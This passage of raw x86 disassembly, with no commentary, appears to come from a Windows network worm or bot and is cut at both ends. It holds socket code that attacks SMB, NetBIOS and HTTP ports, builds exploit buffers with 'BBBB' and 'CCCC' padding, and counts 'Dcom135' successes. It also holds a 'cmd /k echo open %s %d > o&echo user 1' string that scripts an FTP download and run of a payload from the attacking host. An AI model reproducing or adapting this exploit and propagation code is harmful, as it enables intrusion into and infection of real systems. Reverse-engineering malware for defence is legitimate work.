eax, eax jmp loc_403E37 ; --------------------------------------------------------------------------- loc_403D9A: ; CODE XREF: sub_403C8B+106j push edi jmp short loc_403DC1 ; --------------------------------------------------------------------------- loc_403D9D: ; CODE XREF: sub_403C8B+103j push 2 push ebx sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_40384C add esp, 0C4h test al, al jnz short loc_403DE1 push 1 loc_403DC1: ; CODE XREF: sub_403C8B+110j push ebx lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40384C add esp, 0C4h test al, al jz short loc_403DE8 loc_403DE1: ; CODE XREF: sub_403C8B+132j mov [ebp+var_4], 1 loc_403DE8: ; CODE XREF: sub_403C8B+154j push ebx call dword_43A430 ; closesocket cmp [ebp+var_4], 0 jz short loc_403E34 push 0 lea eax, [ebp+var_214] push [ebp+arg_B0] push eax lea eax, [ebp+arg_14] push eax push [ebp+arg_0] call sub_412D4C lea eax, [ebp+var_214] push eax call sub_40B16D mov eax, [ebp+arg_A8] add esp, 18h imul eax, 3Ch inc dword_427340[eax] lea eax, dword_427340[eax] loc_403E34: ; CODE XREF: sub_403C8B+168j push 1 pop eax loc_403E37: ; CODE XREF: sub_403C8B+10Aj pop edi pop esi pop ebx leave retn sub_403C8B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi sub esp, 0BCh lea esi, [ebp+8] mov dword ptr [ebp+0A8h], 1BDh push 2Fh pop ecx mov edi, esp rep movsd call sub_402DDD push 2Fh lea esi, [ebp+8] pop ecx mov dword ptr [ebp+0A8h], 1BDh mov edi, esp mov [ebp-4], eax rep movsd call sub_403C8B add esp, 0BCh cmp dword ptr [ebp-4], 0 jnz short loc_403E8D test eax, eax jz short loc_403E90 loc_403E8D: ; CODE XREF: .nsp0:00403E87j push 1 pop eax loc_403E90: ; CODE XREF: .nsp0:00403E8Bj pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_403E94 proc near ; CODE XREF: sub_404108+Ep ; sub_404108+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_403E94 endp ; =============== S U B R O U T I N E ======================================= sub_403E9E proc near ; CODE XREF: sub_404108+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_415DC9 mov edi, eax pop ecx test edi, edi jz short loc_403ED0 push ebx push 0 push edi call sub_415570 push ebx push [esp+1Ch+arg_0] push edi call sub_4155D0 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_403ED0: ; CODE XREF: sub_403E9E+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_403E9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403ED8 proc near ; CODE XREF: sub_403FD2+18p ; sub_40404C+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_415DC9 mov esi, eax pop ecx test esi, esi jz short loc_403F24 push edi push 0 push esi call sub_415570 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_4155D0 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_4155D0 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_403F24: ; CODE XREF: sub_403ED8+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_403ED8 endp ; =============== S U B R O U T I N E ======================================= sub_403F2D proc near ; CODE XREF: sub_403FD2+5Ep ; sub_403FD2+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_403F3D push eax call sub_415E3D pop ecx loc_403F3D: ; CODE XREF: sub_403F2D+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_403F2D endp ; =============== S U B R O U T I N E ======================================= sub_403F46 proc near ; CODE XREF: sub_403FD2+20p ; sub_4040AD+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_403F73 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_415DC9 mov edi, eax pop ecx test edi, edi jnz short loc_403F77 loc_403F73: ; CODE XREF: sub_403F46+Dj xor al, al jmp short loc_403FCE ; --------------------------------------------------------------------------- loc_403F77: ; CODE XREF: sub_403F46+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_415570 add esp, 0Ch cmp ebx, 1 jnz short loc_403F9C mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_403FB6 ; --------------------------------------------------------------------------- loc_403F9C: ; CODE XREF: sub_403F46+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_403FB6: ; CODE XREF: sub_403F46+54j push eax call sub_4155D0 add esp, 0Ch push dword ptr [esi] call sub_415E3D add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_403FCE: ; CODE XREF: sub_403F46+2Fj pop edi pop esi pop ebx retn sub_403F46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FD2 proc near ; CODE XREF: sub_404108+89p ; sub_404108+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_438FD4 call sub_403ED8 lea ecx, [ebp+var_8] call sub_403F46 mov eax, [ebp+var_4] inc eax push eax call sub_415DC9 mov edi, eax pop ecx test edi, edi jnz short loc_40400C xor al, al jmp short loc_404048 ; --------------------------------------------------------------------------- loc_40400C: ; CODE XREF: sub_403FD2+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_415570 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_4155D0 add esp, 18h mov ecx, esi call sub_403F2D mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_403F2D mov al, 1 loc_404048: ; CODE XREF: sub_403FD2+38j pop edi pop esi leave retn sub_403FD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40404C proc near ; CODE XREF: sub_404080+14p ; sub_40409D+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_403ED8 mov ecx, esi call sub_403F2D mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40404C endp ; =============== S U B R O U T I N E ======================================= sub_404080 proc near ; CODE XREF: sub_404108+F0p ; sub_404108+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_415CF0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40404C pop esi retn 4 sub_404080 endp ; =============== S U B R O U T I N E ======================================= sub_40409D proc near ; CODE XREF: sub_4040E9+Bp ; sub_404108+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40404C retn 8 sub_40409D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4040AD proc near ; CODE XREF: sub_4040E9+16p ; sub_404108+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_403F46 test al, al jz short loc_4040E6 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push (offset loc_4263DB+1) call sub_403ED8 mov ecx, esi call sub_403F2D mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_4040E6: ; CODE XREF: sub_4040AD+Fj pop esi leave retn sub_4040AD endp ; =============== S U B R O U T I N E ======================================= sub_4040E9 proc near ; CODE XREF: sub_404108+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40409D test al, al jz short loc_404104 mov ecx, esi call sub_4040AD loc_404104: ; CODE XREF: sub_4040E9+12j pop esi retn 8 sub_4040E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404108 proc near ; CODE XREF: .nsp0:0040498Dp var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_403E94 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40445C mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40445C push esi lea ecx, [ebp+var_30] call sub_403E94 lea ecx, [ebp+var_20] call sub_403E94 lea ecx, [ebp+var_50] call sub_403E94 lea ecx, [ebp+var_18] call sub_403E94 lea ecx, [ebp+var_40] call sub_403E94 lea ecx, [ebp+var_38] call sub_403E94 lea ecx, [ebp+var_28] call sub_403E94 push 4 push offset dword_42607C lea ecx, [ebp+var_30] call sub_40404C push 3 push offset dword_426084 lea ecx, [ebp+var_30] call sub_40404C lea ecx, [ebp+var_30] call sub_403FD2 lea ecx, [ebp+var_30] call sub_4040AD mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_415570 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40404C push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40404C mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40404C lea ecx, [ebp+var_20] call sub_403FD2 push offset loc_426404 lea ecx, [ebp+var_50] call sub_404080 lea ecx, [ebp+var_50] call sub_403FD2 push esi lea eax, [ebp+var_858] push 44h push eax call sub_415570 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_403E9E lea ecx, [ebp+var_58] call sub_403FD2 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_4040E9 lea ecx, [ebp+var_58] call sub_403F2D push esi lea eax, [ebp+var_858] push 43h push eax call sub_415570 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_404080 push 4 push offset dword_426088 lea ecx, [ebp+var_18] call sub_40404C push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40404C sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40404C lea ecx, [ebp+var_18] call sub_403FD2 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40409D push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40409D lea ecx, [ebp+var_40] call sub_4040AD lea ecx, [ebp+var_18] call sub_403F2D lea ecx, [ebp+var_50] call sub_403F2D push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40409D push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40409D push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40409D lea ecx, [ebp+var_38] call sub_4040AD lea ecx, [ebp+var_20] call sub_403F2D lea ecx, [ebp+var_30] call sub_403F2D lea ecx, [ebp+var_40] call sub_403F2D push esi lea eax, [ebp+var_858] push 41h push eax call sub_415570 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40404C lea ecx, [ebp+var_28] call sub_403FD2 push 2 push offset dword_4263F8 lea ecx, [ebp+var_28] call sub_40404C push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40409D lea ecx, [ebp+var_28] call sub_4040AD lea ecx, [ebp+var_38] call sub_403F2D lea ecx, [ebp+var_10] call sub_403E94 lea ecx, [ebp+var_8] call sub_403E94 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40409D lea ecx, [ebp+var_10] call sub_403F46 lea ecx, [ebp+var_28] call sub_403F2D push offset dword_4263F4 lea ecx, [ebp+var_8] call sub_404080 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40409D lea ecx, [ebp+var_8] call sub_403F46 lea ecx, [ebp+var_10] call sub_403F2D push offset dword_4263F0 lea ecx, [ebp+var_10] call sub_404080 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40409D lea ecx, [ebp+var_10] call sub_403F46 lea ecx, [ebp+var_8] call sub_403F2D push offset dword_4263E4 lea ecx, [ebp+var_8] call sub_404080 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40409D lea ecx, [ebp+var_8] call sub_403F46 lea ecx, [ebp+var_10] call sub_403F2D push offset dword_4263E0 lea ecx, [ebp+var_48] call sub_404080 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40409D lea ecx, [ebp+var_8] call sub_403F2D mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40446A ; --------------------------------------------------------------------------- loc_40445C: ; CODE XREF: sub_404108+1Bj ; sub_404108+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40446A: ; CODE XREF: sub_404108+352j pop edi pop ebx leave retn sub_404108 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40446E proc near ; CODE XREF: sub_404532+A1p ; sub_404532+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call dword_4211D0 ; select cmp eax, edi jnz short loc_4044D5 lea eax, [ebp+var_10C] push eax push esi call sub_420106 ; __WSAFDIsSet test eax, eax jnz short loc_4044D9 loc_4044D5: ; CODE XREF: sub_40446E+54j xor eax, eax jmp short loc_4044E9 ; --------------------------------------------------------------------------- loc_4044D9: ; CODE XREF: sub_40446E+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_43A3B0 ; recv loc_4044E9: ; CODE XREF: sub_40446E+69j pop edi pop esi leave retn sub_40446E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4044ED proc near ; CODE XREF: sub_404532+81p ; sub_404532+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_43A394 ; ntohl mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_43A3E8 ; send cmp eax, 4 jz short loc_404517 xor al, al leave retn ; --------------------------------------------------------------------------- loc_404517: ; CODE XREF: sub_4044ED+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_43A3E8 ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_4044ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404532 proc near ; CODE XREF: sub_40460C+48p ; .nsp0:00404A88p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_415DC9 mov esi, eax pop ecx test esi, esi jnz short loc_40455B xor al, al jmp loc_404607 ; --------------------------------------------------------------------------- loc_40455B: ; CODE XREF: sub_404532+20j push ebx push 0 push esi call sub_415570 push 2Fh push offset dword_426118 push esi call sub_4155D0 push 8 lea eax, [esi+31h] push offset dword_426148 push eax mov [esi+2Fh], di call sub_4155D0 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_4155D0 push 6 add ebx, edi push offset dword_438FCC push ebx call sub_4155D0 mov ebx, [ebp+arg_0] push 85h push offset dword_426090 push ebx call sub_4044ED add esp, 48h test al, al jnz short loc_4045C3 loc_4045BF: ; CODE XREF: sub_404532+B5j xor bl, bl jmp short loc_4045FE ; --------------------------------------------------------------------------- loc_4045C3: ; CODE XREF: sub_404532+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40446E push [ebp+var_4] push esi push ebx call sub_4044ED add esp, 1Ch test al, al jz short loc_4045BF push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40446E add esp, 10h mov bl, 1 loc_4045FE: ; CODE XREF: sub_404532+8Fj push esi call sub_415E3D pop ecx mov al, bl loc_404607: ; CODE XREF: sub_404532+24j pop edi pop esi pop ebx leave retn sub_404532 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40460C proc near ; CODE XREF: .nsp0:00404A6Ep var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_426154 push [ebp+arg_0] call dword_4211EC ; send cmp eax, 48h jnz short loc_404647 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40446E add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_404647 cmp [ebp+var_20], 82h jz short loc_40464B loc_404647: ; CODE XREF: sub_40460C+1Bj ; sub_40460C+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40464B: ; CODE XREF: sub_40460C+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_404532 add esp, 0Ch leave retn sub_40460C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40465E proc near ; CODE XREF: sub_4046AA+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_421240 call sub_415F8C and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_421238 fstp [esp+10h+var_10] call sub_415E6C fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_415F8C inc eax leave retn sub_40465E endp ; =============== S U B R O U T I N E ======================================= sub_4046AA proc near ; CODE XREF: sub_40484C+24p var_40 = qword ptr -40h mov eax, offset loc_420263 call sub_416458 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_404D21 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40465E cmp [ebp-2Ch], eax pop ecx jnb short loc_4046EC push edi push eax lea ecx, [ebp-38h] call sub_404C9C loc_4046EC: ; CODE XREF: sub_4046AA+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_404809 mov ebx, [ebp+10h] loc_4046FB: ; CODE XREF: sub_4046AA+156j cmp dword ptr [ebp+10h], 3 jb short loc_404705 push 3 jmp short loc_404717 ; --------------------------------------------------------------------------- loc_404705: ; CODE XREF: sub_4046AA+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40470F push 2 jmp short loc_404717 ; --------------------------------------------------------------------------- loc_40470F: ; CODE XREF: sub_4046AA+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_404718 push 1 loc_404717: ; CODE XREF: sub_4046AA+59j ; sub_4046AA+63j pop ebx loc_404718: ; CODE XREF: sub_4046AA+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_421250 fstp [esp+40h+var_40] call sub_415FB3 pop ecx pop ecx call sub_415F8C cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_404757 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_404757: ; CODE XREF: sub_4046AA+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_4047C5 add [ebp-18h], eax loc_4047A9: ; CODE XREF: sub_4046AA+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_4261A0[eax] push eax push 1 call sub_404B1E inc esi cmp esi, [ebp-1Ch] jb short loc_4047A9 loc_4047C5: ; CODE XREF: sub_4046AA+FAj cmp dword ptr [ebp-18h], 48h jb short loc_4047E3 push dword ptr [ebp+14h] call sub_415CF0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_404B77 mov [ebp-18h], edi loc_4047E3: ; CODE XREF: sub_4046AA+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_4047FD sub esi, [ebp-1Ch] loc_4047EE: ; CODE XREF: sub_4046AA+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_404B1E dec esi jnz short loc_4047EE loc_4047FD: ; CODE XREF: sub_4046AA+13Fj cmp [ebp+10h], edi ja loc_4046FB push 1 pop ebx loc_404809: ; CODE XREF: sub_4046AA+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_404D21 push dword_421248 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_404BCE mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_404D21 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_4046AA endp ; =============== S U B R O U T I N E ======================================= sub_40484C proc near ; CODE XREF: .nsp0:00404A51p mov eax, offset loc_420280 call sub_416458 sub esp, 10h push ebx push esi push edi push offset byte_438FBC lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_4046AA mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_415DC9 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_404896 xor bl, bl jmp short loc_4048DA ; --------------------------------------------------------------------------- loc_404896: ; CODE XREF: sub_40484C+44j mov ecx, [ebp-18h] mov eax, offset dword_421258 cmp ecx, ebx jnz short loc_4048A4 mov ecx, eax loc_4048A4: ; CODE XREF: sub_40484C+54j cmp [ebp+18h], ebx jz short loc_4048AC mov eax, [ebp+18h] loc_4048AC: ; CODE XREF: sub_40484C+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_415A6A add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_43A3E8 ; send cmp eax, esi jz short loc_4048D1 xor bl, bl jmp short loc_4048D3 ; --------------------------------------------------------------------------- loc_4048D1: ; CODE XREF: sub_40484C+7Fj mov bl, 1 loc_4048D3: ; CODE XREF: sub_40484C+83j push edi call sub_415E3D pop ecx loc_4048DA: ; CODE XREF: sub_40484C+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_404D21 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_404D21 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40484C endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 624h and byte ptr [ebp-424h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-423h] push 8Fh rep stosd stosw stosb lea eax, [ebp-424h] push offset sub_42634C push eax call sub_4155D0 add esp, 0Ch mov eax, offset byte_42C1FC push eax push eax push dword_438FDC push dword ptr [ebp+8] call sub_40A171 pop ecx push eax push offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "... lea eax, [ebp-395h] push 400h push eax call sub_415A6A add eax, 90h push eax lea eax, [ebp-424h] push eax push 164h lea eax, [ebp-24h] push offset sub_4261E4 push eax call sub_404108 mov ecx, [eax] xor esi, esi mov [ebp-8], ecx add esp, 30h mov eax, [eax+4] cmp eax, esi mov [ebp-4], eax jnz short loc_4049AD xor eax, eax jmp loc_404B11 ; --------------------------------------------------------------------------- loc_4049AD: ; CODE XREF: .nsp0:004049A4j mov [ebp-0Ch], esi loc_4049B0: ; CODE XREF: .nsp0:00404AB0j test esi, esi jnz loc_404AB6 push 6 push 1 push 2 call dword_4211E0 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_404A9E xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_43A398 ; ntohs mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_43A3D8 ; inet_addr mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_43A340 ; connect cmp eax, 0FFFFFFFFh jz loc_404A93 cmp dword ptr [ebp+0A8h], 50h jnz short loc_404A5B mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_404D21 lea eax, [ebp+0Ch] push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_404D5D push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40484C add esp, 1Ch jmp short loc_404A90 ; --------------------------------------------------------------------------- loc_404A5B: ; CODE XREF: .nsp0:00404A19j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_404A75 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40460C jmp short loc_404A8D ; --------------------------------------------------------------------------- loc_404A75: ; CODE XREF: .nsp0:00404A65j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_404A93 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_404532 loc_404A8D: ; CODE XREF: .nsp0:00404A73j add esp, 0Ch loc_404A90: ; CODE XREF: .nsp0:00404A59j movzx esi, al loc_404A93: ; CODE XREF: .nsp0:00404A0Cj ; .nsp0:00404A7Fj push ebx call dword_43A430 ; closesocket test esi, esi jnz short loc_404AA9 loc_404A9E: ; CODE XREF: .nsp0:004049C9j push 3E8h call dword_421060 ; Sleep loc_404AA9: ; CODE XREF: .nsp0:00404A9Cj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_4049B0 loc_404AB6: ; CODE XREF: .nsp0:004049B2j lea ecx, [ebp-8] call sub_403F2D test esi, esi jz short loc_404B0F lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] imul eax, 3Ch add eax, offset aDcom135 ; "Dcom135" push eax push offset dword_426410 lea eax, [ebp-624h] push 200h push eax call sub_415A6A lea eax, [ebp-624h] push eax call sub_40B16D mov eax, [ebp+0B0h] add esp, 18h imul eax, 3Ch inc dword_427340[eax] lea eax, dword_427340[eax] loc_404B0F: ; CODE XREF: .nsp0:00404AC0j mov eax, esi loc_404B11: ; CODE XREF: .nsp0:004049A8j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_420244 loc_404B16: ; CODE XREF: sub_420244+3j ; .nsp0:0042025Dj ... push 1 call sub_404D21 retn ; END OF FUNCTION CHUNK FOR sub_420244 ; =============== S U B R O U 